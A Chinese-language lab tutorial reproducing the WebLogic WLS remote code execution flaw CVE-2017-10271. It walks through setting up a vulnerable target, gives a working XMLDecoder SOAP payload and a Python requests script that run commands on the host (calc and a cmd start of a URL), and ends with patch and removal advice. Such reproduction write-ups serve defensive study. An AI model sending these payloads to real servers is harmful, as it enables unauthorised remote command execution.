手把手教你重现WebLogic WLS组件漏洞

漏洞编号:CVE-2017-10271

漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

1 漏洞复现环境搭建

靶机:Windows Server 2008 R2 x64

攻击机:Windows 8 x64

1.1 靶机相关环境配置:

1.1.1 安装JDK:

Java版本:

图0:手把手教你重现WebLogic WLS组件漏洞

注:Java不要安装在带有空格的目录下。

1.1.12 安装WebLogic

WebLogic 版本:10.3.6.0(现官方下载的12.2.1.1.0,12.2.1.2.0版本默认安装无WLS组件)

图1:手把手教你重现WebLogic WLS组件漏洞

不勾选 “我希望通过My Oracle Support接收安全更新”。

图2:手把手教你重现WebLogic WLS组件漏洞

配置管理员用户名和口令(weblogic\weblogic888)

图3:手把手教你重现WebLogic WLS组件漏洞

选择生产模式

图4:手把手教你重现WebLogic WLS组件漏洞

若安装选择的默认路径与默认域名,在如下路径中运行

C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\WebLogic.cmd

输入配置管理员用户名和口令时设置的用户名和口令(weblogic\weblogic888):

图5:手把手教你重现WebLogic WLS组件漏洞

此时访问:https://127.0.0.1:7001/wls-wsat/CoordinatorPortType

若出现如下图的默认页面则环境配置完成:

图6:手把手教你重现WebLogic WLS组件漏洞

2 漏洞利用POC:

该POC为在目标主机调用计算器,xml中的string标签红色字符串为远程执行的命令内容。

<soapenv:Envelope     xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
       <work:WorkContext    xmlns:work="https://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
               <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                           <string>calc</string>
                        </void>
                        <void     index="1">
                            <string></string>
                        </void>
                        <void     index="2">
                            <string> </string>
                        </void>
                    </array>
                <void     method="start"/></void>
           </java>
       </work:WorkContext>
   </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

3 漏洞利用过程:

首先查看靶机的IP地址

图7:手把手教你重现WebLogic WLS组件漏洞

使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:

https://192.168.1.32:7001/wls-wsat/CoordinatorPortType

使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache 。

图8:手把手教你重现WebLogic WLS组件漏洞

返回的状态码为500:

图9:手把手教你重现WebLogic WLS组件漏洞

这时我们再回到靶机,可以看到靶机的计算器已经被调用。

图10:手把手教你重现WebLogic WLS组件漏洞

4 漏洞利用脚本:

CVE-2017-10271.py(调用浏览器访问freebuf):

#! -*- coding:utf-8 -*-
import requests
 
url = "https://192.168.1.32:7001/wls-wsat/CoordinatorPortType"
xml = '''
    <soapenv:Envelope     xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>
       <work:WorkContext    xmlns:work="https://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
                <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                            <string>cmd</string>
                        </void>
                        <void     index="1">
                            <string>/c</string>
                        </void>
                        <void     index="2">
                            <string>start https://www.freebuf.com/</string>
                        </void>
                    </array>
                <void     method="start"/></void>
           </java>
       </work:WorkContext>
   </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code

print r.text

靶机效果:

图11:手把手教你重现WebLogic WLS组件漏洞

5 漏洞修复建议

1. Oracle官方对于WebLogicWLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,并升级WebLogic。

2. 根据实际环境路径,删除WebLogic wls-wsat组件,并重启服务器。

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

你也许感兴趣的:

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注